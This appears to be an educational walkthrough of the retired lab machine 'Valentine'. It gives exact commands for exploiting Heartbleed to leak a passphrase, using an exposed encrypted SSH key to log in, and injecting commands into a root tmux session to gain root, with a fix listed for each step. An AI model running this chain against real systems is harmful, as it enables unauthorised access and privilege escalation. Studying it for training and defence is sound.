Valentine
Summary
I found an HTTPS service running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160) and a web endpoint that openly served an encrypted SSH private key. By flooding the server with malformed TLS heartbeat requests, I accumulated roughly 1 MB of leaked process memory until a base64-encoded passphrase appeared in the dump.
Combining that passphrase with the downloaded key gave me an SSH session as the local user 'hype'. A root-owned tmux session had left its control socket at a path the 'hype' account could write to, allowing direct command injection into a root shell and completing the full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service version and default script scan.
$ nmap -sV -sC -p 22,80,443 $TARGETConfirm the endpoint returns hex-encoded private key material.
$ curl -sk https://$TARGET/dev/hype_key | head -5FixRemove private key material from web-accessible pathsCritical
Exact commands 1
Confirms CVE-2014-0160 is exploitable — look for 'VULNERABLE' in output.
$ nmap --script ssl-heartbleed -p 443 $TARGETFixUpgrade OpenSSL to eliminate the Heartbleed vulnerabilityCritical
Exact commands 3
Any public Heartbleed PoC works (e.g. github.com/mpgn/heartbleed-PoC). Repeat probes to accumulate enough heap data.
$ python2 heartbleed.py -n 100 $TARGET > /tmp/valentine_heartbleed.binLocate the base64-encoded passphrase in the dump.
$ strings /tmp/valentine_heartbleed.bin | grep 'text='Decode to plaintext: $PASSWORD2.
$ echo "$PASSWORD" | base64 -dExact commands 2
Retrieve the key and convert hex to binary PEM.
$ curl -sk https://$TARGET/dev/hype_key | xxd -r -p > /tmp/hype_key.pem && chmod 600 /tmp/hype_key.pemStrip the passphrase using the value recovered from Heartbleed.
$ openssl rsa -in /tmp/hype_key.pem -out /tmp/hype_key_nopass.pem -passin pass:$PASSWORD2Exact commands 1
Output confirms uid=1000(hype) and prints <user.txt>.
$ ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET 'id; cat /home/hype/user.txt'
uid=1000(hype)Exact commands 2
Confirm the dev_sess socket exists and is accessible to hype.
$ ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET 'ls -la /.devs/'Inject commands into the root tmux session. Output shows uid=0(root) and <root.txt>.
$ ssh -i /tmp/hype_key_nopass.pem -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no hype@$TARGET "tmux -S /.devs/dev_sess send-keys 'id; cat /root/root.txt' C-m; sleep 1; tmux -S /.devs/dev_sess capture-pane; tmux -S /.devs/dev_sess save-buffer -"
uid=0(root)FixRestrict privileged tmux session socket permissionsHigh
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.